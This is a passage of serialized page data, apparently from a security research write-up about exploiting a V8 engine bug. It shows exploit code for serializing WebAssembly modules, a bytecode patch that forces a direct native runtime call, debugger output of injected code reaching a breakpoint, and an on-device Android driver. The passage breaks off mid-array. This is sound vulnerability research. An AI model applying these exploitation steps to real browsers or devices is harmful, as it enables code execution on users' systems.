,135072,135076,135080,135084,135088,135092,135096,135100,135104,135108,135112,135116,135120,135124,135128,135132,135136,135140,135144,135148,135152,135156,135160,135164,135168,135172,135176,135180,135184,135188,135192,135196,135200,135204,135208,135212,135216,135220,135224,135228],{"type":24,"tag":83,"props":134992,"children":134993},{"style":245},[134994],{"type":29,"value":134995},"    195",{"type":24,"tag":83,"props":134997,"children":134998},{"style":107},[134999],{"type":29,"value":568},{"type":24,"tag":83,"props":135001,"children":135002},{"style":245},[135003],{"type":29,"value":44024},{"type":24,"tag":83,"props":135005,"children":135006},{"style":107},[135007],{"type":29,"value":568},{"type":24,"tag":83,"props":135009,"children":135010},{"style":245},[135011],{"type":29,"value":59328},{"type":24,"tag":83,"props":135013,"children":135014},{"style":107},[135015],{"type":29,"value":568},{"type":24,"tag":83,"props":135017,"children":135018},{"style":245},[135019],{"type":29,"value":96380},{"type":24,"tag":83,"props":135021,"children":135022},{"style":107},[135023],{"type":29,"value":568},{"type":24,"tag":83,"props":135025,"children":135026},{"style":245},[135027],{"type":29,"value":1166},{"type":24,"tag":83,"props":135029,"children":135030},{"style":107},[135031],{"type":29,"value":568},{"type":24,"tag":83,"props":135033,"children":135034},{"style":245},[135035],{"type":29,"value":17265},{"type":24,"tag":83,"props":135037,"children":135038},{"style":107},[135039],{"type":29,"value":568},{"type":24,"tag":83,"props":135041,"children":135042},{"style":245},[135043],{"type":29,"value":1166},{"type":24,"tag":83,"props":135045,"children":135046},{"style":107},[135047],{"type":29,"value":568},{"type":24,"tag":83,"props":135049,"children":135050},{"style":245},[135051],{"type":29,"value":1166},{"type":24,"tag":83,"props":135053,"children":135054},{"style":107},[135055],{"type":29,"value":568},{"type":24,"tag":83,"props":135057,"children":135058},{"style":245},[135059],{"type":29,"value":1166},{"type":24,"tag":83,"props":135061,"children":135062},{"style":107},[135063],{"type":29,"value":568},{"type":24,"tag":83,"props":135065,"children":135066},{"style":245},[135067],{"type":29,"value":1166},{"type":24,"tag":83,"props":135069,"children":135070},{"style":107},[135071],{"type":29,"value":568},{"type":24,"tag":83,"props":135073,"children":135074},{"style":245},[135075],{"type":29,"value":1166},{"type":24,"tag":83,"props":135077,"children":135078},{"style":107},[135079],{"type":29,"value":568},{"type":24,"tag":83,"props":135081,"children":135082},{"style":245},[135083],{"type":29,"value":1166},{"type":24,"tag":83,"props":135085,"children":135086},{"style":107},[135087],{"type":29,"value":568},{"type":24,"tag":83,"props":135089,"children":135090},{"style":245},[135091],{"type":29,"value":1166},{"type":24,"tag":83,"props":135093,"children":135094},{"style":107},[135095],{"type":29,"value":568},{"type":24,"tag":83,"props":135097,"children":135098},{"style":245},[135099],{"type":29,"value":1166},{"type":24,"tag":83,"props":135101,"children":135102},{"style":107},[135103],{"type":29,"value":568},{"type":24,"tag":83,"props":135105,"children":135106},{"style":245},[135107],{"type":29,"value":17265},{"type":24,"tag":83,"props":135109,"children":135110},{"style":107},[135111],{"type":29,"value":568},{"type":24,"tag":83,"props":135113,"children":135114},{"style":245},[135115],{"type":29,"value":1166},{"type":24,"tag":83,"props":135117,"children":135118},{"style":107},[135119],{"type":29,"value":568},{"type":24,"tag":83,"props":135121,"children":135122},{"style":245},[135123],{"type":29,"value":1166},{"type":24,"tag":83,"props":135125,"children":135126},{"style":107},[135127],{"type":29,"value":568},{"type":24,"tag":83,"props":135129,"children":135130},{"style":245},[135131],{"type":29,"value":1166},{"type":24,"tag":83,"props":135133,"children":135134},{"style":107},[135135],{"type":29,"value":568},{"type":24,"tag":83,"props":135137,"children":135138},{"style":245},[135139],{"type":29,"value":1166},{"type":24,"tag":83,"props":135141,"children":135142},{"style":107},[135143],{"type":29,"value":568},{"type":24,"tag":83,"props":135145,"children":135146},{"style":245},[135147],{"type":29,"value":1166},{"type":24,"tag":83,"props":135149,"children":135150},{"style":107},[135151],{"type":29,"value":568},{"type":24,"tag":83,"props":135153,"children":135154},{"style":245},[135155],{"type":29,"value":1166},{"type":24,"tag":83,"props":135157,"children":135158},{"style":107},[135159],{"type":29,"value":568},{"type":24,"tag":83,"props":135161,"children":135162},{"style":245},[135163],{"type":29,"value":1166},{"type":24,"tag":83,"props":135165,"children":135166},{"style":107},[135167],{"type":29,"value":568},{"type":24,"tag":83,"props":135169,"children":135170},{"style":245},[135171],{"type":29,"value":1166},{"type":24,"tag":83,"props":135173,"children":135174},{"style":107},[135175],{"type":29,"value":568},{"type":24,"tag":83,"props":135177,"children":135178},{"style":245},[135179],{"type":29,"value":1166},{"type":24,"tag":83,"props":135181,"children":135182},{"style":107},[135183],{"type":29,"value":568},{"type":24,"tag":83,"props":135185,"children":135186},{"style":245},[135187],{"type":29,"value":1166},{"type":24,"tag":83,"props":135189,"children":135190},{"style":107},[135191],{"type":29,"value":568},{"type":24,"tag":83,"props":135193,"children":135194},{"style":245},[135195],{"type":29,"value":1166},{"type":24,"tag":83,"props":135197,"children":135198},{"style":107},[135199],{"type":29,"value":568},{"type":24,"tag":83,"props":135201,"children":135202},{"style":245},[135203],{"type":29,"value":1166},{"type":24,"tag":83,"props":135205,"children":135206},{"style":107},[135207],{"type":29,"value":568},{"type":24,"tag":83,"props":135209,"children":135210},{"style":245},[135211],{"type":29,"value":1166},{"type":24,"tag":83,"props":135213,"children":135214},{"style":107},[135215],{"type":29,"value":568},{"type":24,"tag":83,"props":135217,"children":135218},{"style":245},[135219],{"type":29,"value":1166},{"type":24,"tag":83,"props":135221,"children":135222},{"style":107},[135223],{"type":29,"value":568},{"type":24,"tag":83,"props":135225,"children":135226},{"style":245},[135227],{"type":29,"value":1166},{"type":24,"tag":83,"props":135229,"children":135230},{"style":107},[135231],{"type":29,"value":989},{"type":24,"tag":83,"props":135233,"children":135234},{"class":85,"line":358},[135235,135239,135243,135247,135251,135255,135259,135263,135267,135271,135275,135279,135283,135287,135291,135295,135299,135303,135307,135311,135315,135319,135323,135327,135331,135335,135339,135343,135347,135351,135355,135359,135363,135367,135371,135375,135379,135383,135387,135391,135395,135399,135403,135407,135411,135415,135419,135423,135427,135431,135435,135440,135444,135448],{"type":24,"tag":83,"props":135236,"children":135237},{"style":245},[135238],{"type":29,"value":133730},{"type":24,"tag":83,"props":135240,"children":135241},{"style":107},[135242],{"type":29,"value":568},{"type":24,"tag":83,"props":135244,"children":135245},{"style":245},[135246],{"type":29,"value":1166},{"type":24,"tag":83,"props":135248,"children":135249},{"style":107},[135250],{"type":29,"value":568},{"type":24,"tag":83,"props":135252,"children":135253},{"style":245},[135254],{"type":29,"value":1166},{"type":24,"tag":83,"props":135256,"children":135257},{"style":107},[135258],{"type":29,"value":568},{"type":24,"tag":83,"props":135260,"children":135261},{"style":245},[135262],{"type":29,"value":1166},{"type":24,"tag":83,"props":135264,"children":135265},{"style":107},[135266],{"type":29,"value":568},{"type":24,"tag":83,"props":135268,"children":135269},{"style":245},[135270],{"type":29,"value":1166},{"type":24,"tag":83,"props":135272,"children":135273},{"style":107},[135274],{"type":29,"value":568},{"type":24,"tag":83,"props":135276,"children":135277},{"style":245},[135278],{"type":29,"value":1166},{"type":24,"tag":83,"props":135280,"children":135281},{"style":107},[135282],{"type":29,"value":568},{"type":24,"tag":83,"props":135284,"children":135285},{"style":245},[135286],{"type":29,"value":1166},{"type":24,"tag":83,"props":135288,"children":135289},{"style":107},[135290],{"type":29,"value":568},{"type":24,"tag":83,"props":135292,"children":135293},{"style":245},[135294],{"type":29,"value":1166},{"type":24,"tag":83,"props":135296,"children":135297},{"style":107},[135298],{"type":29,"value":568},{"type":24,"tag":83,"props":135300,"children":135301},{"style":245},[135302],{"type":29,"value":1166},{"type":24,"tag":83,"props":135304,"children":135305},{"style":107},[135306],{"type":29,"value":568},{"type":24,"tag":83,"props":135308,"children":135309},{"style":245},[135310],{"type":29,"value":1166},{"type":24,"tag":83,"props":135312,"children":135313},{"style":107},[135314],{"type":29,"value":568},{"type":24,"tag":83,"props":135316,"children":135317},{"style":245},[135318],{"type":29,"value":1166},{"type":24,"tag":83,"props":135320,"children":135321},{"style":107},[135322],{"type":29,"value":568},{"type":24,"tag":83,"props":135324,"children":135325},{"style":245},[135326],{"type":29,"value":1166},{"type":24,"tag":83,"props":135328,"children":135329},{"style":107},[135330],{"type":29,"value":568},{"type":24,"tag":83,"props":135332,"children":135333},{"style":245},[135334],{"type":29,"value":1166},{"type":24,"tag":83,"props":135336,"children":135337},{"style":107},[135338],{"type":29,"value":568},{"type":24,"tag":83,"props":135340,"children":135341},{"style":245},[135342],{"type":29,"value":1166},{"type":24,"tag":83,"props":135344,"children":135345},{"style":107},[135346],{"type":29,"value":568},{"type":24,"tag":83,"props":135348,"children":135349},{"style":245},[135350],{"type":29,"value":1166},{"type":24,"tag":83,"props":135352,"children":135353},{"style":107},[135354],{"type":29,"value":568},{"type":24,"tag":83,"props":135356,"children":135357},{"style":245},[135358],{"type":29,"value":1166},{"type":24,"tag":83,"props":135360,"children":135361},{"style":107},[135362],{"type":29,"value":568},{"type":24,"tag":83,"props":135364,"children":135365},{"style":245},[135366],{"type":29,"value":1166},{"type":24,"tag":83,"props":135368,"children":135369},{"style":107},[135370],{"type":29,"value":568},{"type":24,"tag":83,"props":135372,"children":135373},{"style":245},[135374],{"type":29,"value":1166},{"type":24,"tag":83,"props":135376,"children":135377},{"style":107},[135378],{"type":29,"value":568},{"type":24,"tag":83,"props":135380,"children":135381},{"style":245},[135382],{"type":29,"value":1166},{"type":24,"tag":83,"props":135384,"children":135385},{"style":107},[135386],{"type":29,"value":568},{"type":24,"tag":83,"props":135388,"children":135389},{"style":245},[135390],{"type":29,"value":1166},{"type":24,"tag":83,"props":135392,"children":135393},{"style":107},[135394],{"type":29,"value":568},{"type":24,"tag":83,"props":135396,"children":135397},{"style":245},[135398],{"type":29,"value":1166},{"type":24,"tag":83,"props":135400,"children":135401},{"style":107},[135402],{"type":29,"value":568},{"type":24,"tag":83,"props":135404,"children":135405},{"style":245},[135406],{"type":29,"value":1166},{"type":24,"tag":83,"props":135408,"children":135409},{"style":107},[135410],{"type":29,"value":568},{"type":24,"tag":83,"props":135412,"children":135413},{"style":245},[135414],{"type":29,"value":1166},{"type":24,"tag":83,"props":135416,"children":135417},{"style":107},[135418],{"type":29,"value":568},{"type":24,"tag":83,"props":135420,"children":135421},{"style":245},[135422],{"type":29,"value":29174},{"type":24,"tag":83,"props":135424,"children":135425},{"style":107},[135426],{"type":29,"value":568},{"type":24,"tag":83,"props":135428,"children":135429},{"style":245},[135430],{"type":29,"value":134983},{"type":24,"tag":83,"props":135432,"children":135433},{"style":107},[135434],{"type":29,"value":568},{"type":24,"tag":83,"props":135436,"children":135437},{"style":245},[135438],{"type":29,"value":135439},"198",{"type":24,"tag":83,"props":135441,"children":135442},{"style":107},[135443],{"type":29,"value":568},{"type":24,"tag":83,"props":135445,"children":135446},{"style":245},[135447],{"type":29,"value":1166},{"type":24,"tag":83,"props":135449,"children":135450},{"style":107},[135451],{"type":29,"value":989},{"type":24,"tag":83,"props":135453,"children":135454},{"class":85,"line":367},[135455],{"type":24,"tag":83,"props":135456,"children":135457},{"style":107},[135458],{"type":29,"value":134017},{"type":24,"tag":83,"props":135460,"children":135461},{"class":85,"line":406},[135462,135466,135471,135475,135480,135484,135488,135492,135496,135500,135504],{"type":24,"tag":83,"props":135463,"children":135464},{"style":90},[135465],{"type":29,"value":655},{"type":24,"tag":83,"props":135467,"children":135468},{"style":137},[135469],{"type":29,"value":135470}," r",{"type":24,"tag":83,"props":135472,"children":135473},{"style":143},[135474],{"type":29,"value":146},{"type":24,"tag":83,"props":135476,"children":135477},{"style":101},[135478],{"type":29,"value":135479}," bug",{"type":24,"tag":83,"props":135481,"children":135482},{"style":107},[135483],{"type":29,"value":558},{"type":24,"tag":83,"props":135485,"children":135486},{"style":137},[135487],{"type":29,"value":133348},{"type":24,"tag":83,"props":135489,"children":135490},{"style":107},[135491],{"type":29,"value":568},{"type":24,"tag":83,"props":135493,"children":135494},{"style":137},[135495],{"type":29,"value":124675},{"type":24,"tag":83,"props":135497,"children":135498},{"style":107},[135499],{"type":29,"value":161},{"type":24,"tag":83,"props":135501,"children":135502},{"style":137},[135503],{"type":29,"value":124675},{"type":24,"tag":83,"props":135505,"children":135506},{"style":107},[135507],{"type":29,"value":581},{"type":24,"tag":83,"props":135509,"children":135510},{"class":85,"line":427},[135511,135516,135520,135524,135528,135532,135536,135540,135545,135549],{"type":24,"tag":83,"props":135512,"children":135513},{"style":137},[135514],{"type":29,"value":135515},"  result",{"type":24,"tag":83,"props":135517,"children":135518},{"style":143},[135519],{"type":29,"value":146},{"type":24,"tag":83,"props":135521,"children":135522},{"style":107},[135523],{"type":29,"value":223},{"type":24,"tag":83,"props":135525,"children":135526},{"style":117},[135527],{"type":29,"value":32655},{"type":24,"tag":83,"props":135529,"children":135530},{"style":137},[135531],{"type":29,"value":135470},{"type":24,"tag":83,"props":135533,"children":135534},{"style":107},[135535],{"type":29,"value":161},{"type":24,"tag":83,"props":135537,"children":135538},{"style":101},[135539],{"type":29,"value":57279},{"type":24,"tag":83,"props":135541,"children":135542},{"style":107},[135543],{"type":29,"value":135544},"()).",{"type":24,"tag":83,"props":135546,"children":135547},{"style":137},[135548],{"type":29,"value":38870},{"type":24,"tag":83,"props":135550,"children":135551},{"style":107},[135552],{"type":29,"value":321},{"type":24,"tag":83,"props":135554,"children":135555},{"class":85,"line":440},[135556,135560,135565,135569,135573,135577,135581,135585,135589,135593],{"type":24,"tag":83,"props":135557,"children":135558},{"style":90},[135559],{"type":29,"value":526},{"type":24,"tag":83,"props":135561,"children":135562},{"style":137},[135563],{"type":29,"value":135564}," wasm_instance",{"type":24,"tag":83,"props":135566,"children":135567},{"style":143},[135568],{"type":29,"value":146},{"type":24,"tag":83,"props":135570,"children":135571},{"style":90},[135572],{"type":29,"value":944},{"type":24,"tag":83,"props":135574,"children":135575},{"style":137},[135576],{"type":29,"value":133331},{"type":24,"tag":83,"props":135578,"children":135579},{"style":107},[135580],{"type":29,"value":161},{"type":24,"tag":83,"props":135582,"children":135583},{"style":101},[135584],{"type":29,"value":133385},{"type":24,"tag":83,"props":135586,"children":135587},{"style":107},[135588],{"type":29,"value":558},{"type":24,"tag":83,"props":135590,"children":135591},{"style":137},[135592],{"type":29,"value":8828},{"type":24,"tag":83,"props":135594,"children":135595},{"style":107},[135596],{"type":29,"value":581},{"type":24,"tag":83,"props":135598,"children":135599},{"class":85,"line":449},[135600,135604,135608,135612,135616,135620,135624,135628,135632],{"type":24,"tag":83,"props":135601,"children":135602},{"style":90},[135603],{"type":29,"value":526},{"type":24,"tag":83,"props":135605,"children":135606},{"style":137},[135607],{"type":29,"value":32710},{"type":24,"tag":83,"props":135609,"children":135610},{"style":143},[135611],{"type":29,"value":146},{"type":24,"tag":83,"props":135613,"children":135614},{"style":137},[135615],{"type":29,"value":135564},{"type":24,"tag":83,"props":135617,"children":135618},{"style":107},[135619],{"type":29,"value":161},{"type":24,"tag":83,"props":135621,"children":135622},{"style":137},[135623],{"type":29,"value":37609},{"type":24,"tag":83,"props":135625,"children":135626},{"style":107},[135627],{"type":29,"value":161},{"type":24,"tag":83,"props":135629,"children":135630},{"style":137},[135631],{"type":29,"value":133434},{"type":24,"tag":83,"props":135633,"children":135634},{"style":107},[135635],{"type":29,"value":321},{"type":24,"tag":83,"props":135637,"children":135638},{"class":85,"line":458},[135639,135644],{"type":24,"tag":83,"props":135640,"children":135641},{"style":101},[135642],{"type":29,"value":135643},"  f",{"type":24,"tag":83,"props":135645,"children":135646},{"style":107},[135647],{"type":29,"value":267},{"type":24,"tag":83,"props":135649,"children":135650},{"class":85,"line":1065},[135651],{"type":24,"tag":83,"props":135652,"children":135653},{"style":107},[135654],{"type":29,"value":101518},{"type":24,"tag":25,"props":135656,"children":135657},{},[135658],{"type":29,"value":135659},"Running this in a debugger shows the expected breakpoint:",{"type":24,"tag":73,"props":135661,"children":135663},{"code":135662},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[135664],{"type":24,"tag":32,"props":135665,"children":135666},{"__ignoreMap":7},[135667],{"type":29,"value":135662},{"type":24,"tag":1818,"props":135669,"children":135671},{"id":135670},"porting-to-android",[135672],{"type":29,"value":135673},"Porting to Android",{"type":24,"tag":25,"props":135675,"children":135676},{},[135677,135679,135684,135686,135691,135693,135698,135700,135706],{"type":29,"value":135678},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":24,"tag":32,"props":135680,"children":135682},{"className":135681},[],[135683],{"type":29,"value":132463},{"type":29,"value":135685}," fails. We cross-compiled ",{"type":24,"tag":32,"props":135687,"children":135689},{"className":135688},[],[135690],{"type":29,"value":131622},{"type":29,"value":135692}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":24,"tag":32,"props":135694,"children":135696},{"className":135695},[],[135697],{"type":29,"value":132463},{"type":29,"value":135699}," returned ",{"type":24,"tag":32,"props":135701,"children":135703},{"className":135702},[],[135704],{"type":29,"value":135705},"undefined",{"type":29,"value":161},{"type":24,"tag":25,"props":135708,"children":135709},{},[135710,135712,135717,135719,135724],{"type":29,"value":135711},"Instead, we modified the bytecode to call ",{"type":24,"tag":32,"props":135713,"children":135715},{"className":135714},[],[135716],{"type":29,"value":132489},{"type":29,"value":135718}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":24,"tag":32,"props":135720,"children":135722},{"className":135721},[],[135723],{"type":29,"value":132463},{"type":29,"value":161},{"type":24,"tag":73,"props":135726,"children":135728},{"code":135727,"language":35350,"meta":7,"className":35348,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[135729],{"type":24,"tag":32,"props":135730,"children":135731},{"__ignoreMap":7},[135732,135743,135787,135807,135823,135846,135873,135888],{"type":24,"tag":83,"props":135733,"children":135734},{"class":85,"line":86},[135735,135739],{"type":24,"tag":83,"props":135736,"children":135737},{"style":117},[135738],{"type":29,"value":48050},{"type":24,"tag":83,"props":135740,"children":135741},{"style":107},[135742],{"type":29,"value":125},{"type":24,"tag":83,"props":135744,"children":135745},{"class":85,"line":113},[135746,135750,135754,135758,135762,135766,135770,135775,135779,135783],{"type":24,"tag":83,"props":135747,"children":135748},{"style":137},[135749],{"type":29,"value":132730},{"type":24,"tag":83,"props":135751,"children":135752},{"style":107},[135753],{"type":29,"value":76333},{"type":24,"tag":83,"props":135755,"children":135756},{"style":187},[135757],{"type":29,"value":132739},{"type":24,"tag":83,"props":135759,"children":135760},{"style":107},[135761],{"type":29,"value":161},{"type":24,"tag":83,"props":135763,"children":135764},{"style":101},[135765],{"type":29,"value":132748},{"type":24,"tag":83,"props":135767,"children":135768},{"style":107},[135769],{"type":29,"value":558},{"type":24,"tag":83,"props":135771,"children":135772},{"style":245},[135773],{"type":29,"value":135774},"0x059301",{"type":24,"tag":83,"props":135776,"children":135777},{"style":143},[135778],{"type":29,"value":50970},{"type":24,"tag":83,"props":135780,"children":135781},{"style":245},[135782],{"type":29,"value":295},{"type":24,"tag":83,"props":135784,"children":135785},{"style":107},[135786],{"type":29,"value":132770},{"type":24,"tag":83,"props":135788,"children":135789},{"class":85,"line":128},[135790,135794,135798,135803],{"type":24,"tag":83,"props":135791,"children":135792},{"style":137},[135793],{"type":29,"value":132778},{"type":24,"tag":83,"props":135795,"children":135796},{"style":143},[135797],{"type":29,"value":8649},{"type":24,"tag":83,"props":135799,"children":135800},{"style":245},[135801],{"type":29,"value":135802}," 0x03027a6c",{"type":24,"tag":83,"props":135804,"children":135805},{"style":107},[135806],{"type":29,"value":321},{"type":24,"tag":83,"props":135808,"children":135809},{"class":85,"line":183},[135810,135814,135819],{"type":24,"tag":83,"props":135811,"children":135812},{"style":117},[135813],{"type":29,"value":34936},{"type":24,"tag":83,"props":135815,"children":135816},{"style":245},[135817],{"type":29,"value":135818}," 0x393e71a",{"type":24,"tag":83,"props":135820,"children":135821},{"style":107},[135822],{"type":29,"value":321},{"type":24,"tag":83,"props":135824,"children":135825},{"class":85,"line":203},[135826,135830,135834,135838,135842],{"type":24,"tag":83,"props":135827,"children":135828},{"style":107},[135829],{"type":29,"value":1317},{"type":24,"tag":83,"props":135831,"children":135832},{"style":117},[135833],{"type":29,"value":1295},{"type":24,"tag":83,"props":135835,"children":135836},{"style":107},[135837],{"type":29,"value":223},{"type":24,"tag":83,"props":135839,"children":135840},{"style":137},[135841],{"type":29,"value":51169},{"type":24,"tag":83,"props":135843,"children":135844},{"style":107},[135845],{"type":29,"value":253},{"type":24,"tag":83,"props":135847,"children":135848},{"class":85,"line":212},[135849,135853,135857,135861,135865,135869],{"type":24,"tag":83,"props":135850,"children":135851},{"style":137},[135852],{"type":29,"value":101477},{"type":24,"tag":83,"props":135854,"children":135855},{"style":107},[135856],{"type":29,"value":161},{"type":24,"tag":83,"props":135858,"children":135859},{"style":101},[135860],{"type":29,"value":101486},{"type":24,"tag":83,"props":135862,"children":135863},{"style":107},[135864],{"type":29,"value":558},{"type":24,"tag":83,"props":135866,"children":135867},{"style":187},[135868],{"type":29,"value":132854},{"type":24,"tag":83,"props":135870,"children":135871},{"style":107},[135872],{"type":29,"value":581},{"type":24,"tag":83,"props":135874,"children":135875},{"class":85,"line":256},[135876,135880,135884],{"type":24,"tag":83,"props":135877,"children":135878},{"style":117},[135879],{"type":29,"value":132866},{"type":24,"tag":83,"props":135881,"children":135882},{"style":137},[135883],{"type":29,"value":132871},{"type":24,"tag":83,"props":135885,"children":135886},{"style":107},[135887],{"type":29,"value":321},{"type":24,"tag":83,"props":135889,"children":135890},{"class":85,"line":270},[135891],{"type":24,"tag":83,"props":135892,"children":135893},{"style":107},[135894],{"type":29,"value":464},{"type":24,"tag":25,"props":135896,"children":135897},{},[135898,135900,135906,135908,135914,135916,135922,135924,135929,135931,135937,135939,135944,135945,135951],{"type":29,"value":135899},"Here, ",{"type":24,"tag":32,"props":135901,"children":135903},{"className":135902},[],[135904],{"type":29,"value":135905},"a1 + 0x03027a6c",{"type":29,"value":135907}," generates the bytes ",{"type":24,"tag":32,"props":135909,"children":135911},{"className":135910},[],[135912],{"type":29,"value":135913},"01 4b 6c 7a 02 03",{"type":29,"value":135915},", where ",{"type":24,"tag":32,"props":135917,"children":135919},{"className":135918},[],[135920],{"type":29,"value":135921},"0x6c",{"type":29,"value":135923}," is the ",{"type":24,"tag":32,"props":135925,"children":135927},{"className":135926},[],[135928],{"type":29,"value":132447},{"type":29,"value":135930}," opcode, ",{"type":24,"tag":32,"props":135932,"children":135934},{"className":135933},[],[135935],{"type":29,"value":135936},"0x027a",{"type":29,"value":135938}," is the function ID of ",{"type":24,"tag":32,"props":135940,"children":135942},{"className":135941},[],[135943],{"type":29,"value":132489},{"type":29,"value":6234},{"type":24,"tag":32,"props":135946,"children":135948},{"className":135947},[],[135949],{"type":29,"value":135950},"0x03",{"type":29,"value":135952}," is the register index holding its first argument.",{"type":24,"tag":25,"props":135954,"children":135955},{},[135956,135958,135963,135964,135969,135971,135976],{"type":29,"value":135957},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":24,"tag":32,"props":135959,"children":135961},{"className":135960},[],[135962],{"type":29,"value":132489},{"type":29,"value":2287},{"type":24,"tag":32,"props":135965,"children":135967},{"className":135966},[],[135968],{"type":29,"value":133457},{"type":29,"value":135970},". To avoid patching the bytecode again to invoke ",{"type":24,"tag":32,"props":135972,"children":135974},{"className":135973},[],[135975],{"type":29,"value":133457},{"type":29,"value":135977},", we can force Turbofan to compile the target function like this:",{"type":24,"tag":73,"props":135979,"children":135981},{"code":135980,"language":35350,"meta":7,"className":35348,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[135982],{"type":24,"tag":32,"props":135983,"children":135984},{"__ignoreMap":7},[135985,135993,136053,136065],{"type":24,"tag":83,"props":135986,"children":135987},{"class":85,"line":86},[135988],{"type":24,"tag":83,"props":135989,"children":135990},{"style":2735},[135991],{"type":29,"value":135992},"// %WasmTierUpFunction(func);\n",{"type":24,"tag":83,"props":135994,"children":135995},{"class":85,"line":113},[135996,136000,136004,136008,136012,136016,136020,136024,136028,136032,136037,136041,136045,136049],{"type":24,"tag":83,"props":135997,"children":135998},{"style":117},[135999],{"type":29,"value":3137},{"type":24,"tag":83,"props":136001,"children":136002},{"style":107},[136003],{"type":29,"value":223},{"type":24,"tag":83,"props":136005,"children":136006},{"style":90},[136007],{"type":29,"value":11534},{"type":24,"tag":83,"props":136009,"children":136010},{"style":137},[136011],{"type":29,"value":3142},{"type":24,"tag":83,"props":136013,"children":136014},{"style":143},[136015],{"type":29,"value":146},{"type":24,"tag":83,"props":136017,"children":136018},{"style":245},[136019],{"type":29,"value":248},{"type":24,"tag":83,"props":136021,"children":136022},{"style":107},[136023],{"type":29,"value":16963},{"type":24,"tag":83,"props":136025,"children":136026},{"style":137},[136027],{"type":29,"value":3482},{"type":24,"tag":83,"props":136029,"children":136030},{"style":143},[136031],{"type":29,"value":8463},{"type":24,"tag":83,"props":136033,"children":136034},{"style":245},[136035],{"type":29,"value":136036}," 0x100000",{"type":24,"tag":83,"props":136038,"children":136039},{"style":107},[136040],{"type":29,"value":16963},{"type":24,"tag":83,"props":136042,"children":136043},{"style":137},[136044],{"type":29,"value":3482},{"type":24,"tag":83,"props":136046,"children":136047},{"style":143},[136048],{"type":29,"value":50984},{"type":24,"tag":83,"props":136050,"children":136051},{"style":107},[136052],{"type":29,"value":253},{"type":24,"tag":83,"props":136054,"children":136055},{"class":85,"line":128},[136056,136061],{"type":24,"tag":83,"props":136057,"children":136058},{"style":101},[136059],{"type":29,"value":136060},"  func",{"type":24,"tag":83,"props":136062,"children":136063},{"style":107},[136064],{"type":29,"value":267},{"type":24,"tag":83,"props":136066,"children":136067},{"class":85,"line":183},[136068],{"type":24,"tag":83,"props":136069,"children":136070},{"style":107},[136071],{"type":29,"value":464},{"type":24,"tag":25,"props":136073,"children":136074},{},[136075],{"type":29,"value":136076},"Finally, running this code on the device:",{"type":24,"tag":73,"props":136078,"children":136080},{"code":136079,"language":35350,"meta":7,"className":35348,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[136081],{"type":24,"tag":32,"props":136082,"children":136083},{"__ignoreMap":7},[136084,136107,136135,136354,136421,136428,136471,136514,136553,136560,136568,136628,136640,136647,136654,136685,136728,136755,136762,136798,136861],{"type":24,"tag":83,"props":136085,"children":136086},{"class":85,"line":86},[136087,136091,136095,136099,136103],{"type":24,"tag":83,"props":136088,"children":136089},{"style":107},[136090],{"type":29,"value":558},{"type":24,"tag":83,"props":136092,"children":136093},{"style":90},[136094],{"type":29,"value":93},{"type":24,"tag":83,"props":136096,"children":136097},{"style":107},[136098],{"type":29,"value":39412},{"type":24,"tag":83,"props":136100,"children":136101},{"style":90},[136102],{"type":29,"value":14564},{"type":24,"tag":83,"props":136104,"children":136105},{"style":107},[136106],{"type":29,"value":125},{"type":24,"tag":83,"props":136108,"children":136109},{"class":85,"line":113},[136110,136115,136119,136123,136127,136131],{"type":24,"tag":83,"props":136111,"children":136112},{"style":90},[136113],{"type":29,"value":136114},"  var",{"type":24,"tag":83,"props":136116,"children":136117},{"style":137},[136118],{"type":29,"value":132987},{"type":24,"tag":83,"props":136120,"children":136121},{"style":143},[136122],{"type":29,"value":146},{"type":24,"tag":83,"props":136124,"children":136125},{"style":90},[136126],{"type":29,"value":944},{"type":24,"tag":83,"props":136128,"children":136129},{"style":101},[136130],{"type":29,"value":133000},{"type":24,"tag":83,"props":136132,"children":136133},{"style":107},[136134],{"type":29,"value":133005},{"type":24,"tag":83,"props":136136,"children":136137},{"class":85,"line":128},[136138,136142,136146,136150,136154,136158,136162,136166,136170,136174,136178,136182,136186,136190,136194,136198,136202,136206,136210,136214,136218,136222,136226,136230,136234,136238,136242,136246,136250,136254,136258,136262,136266,136270,136274,136278,136282,136286,136290,136294,136298,136302,136306,136310,136314,136318,136322,136326,136330,136334,136338,136342,136346,136350],{"type":24,"tag":83,"props":136139,"children":136140},{"style":245},[136141],{"type":29,"value":133730},{"type":24,"tag":83,"props":136143,"children":136144},{"style":107},[136145],{"type":29,"value":568},{"type":24,"tag":83,"props":136147,"children":136148},{"style":245},[136149],{"type":29,"value":133022},{"type":24,"tag":83,"props":136151,"children":136152},{"style":107},[136153],{"type":29,"value":568},{"type":24,"tag":83,"props":136155,"children":136156},{"style":245},[136157],{"type":29,"value":133031},{"type":24,"tag":83,"props":136159,"children":136160},{"style":107},[136161],{"type":29,"value":568},{"type":24,"tag":83,"props":136163,"children":136164},{"style":245},[136165],{"type":29,"value":133040},{"type":24,"tag":83,"props":136167,"children":136168},{"style":107},[136169],{"type":29,"value":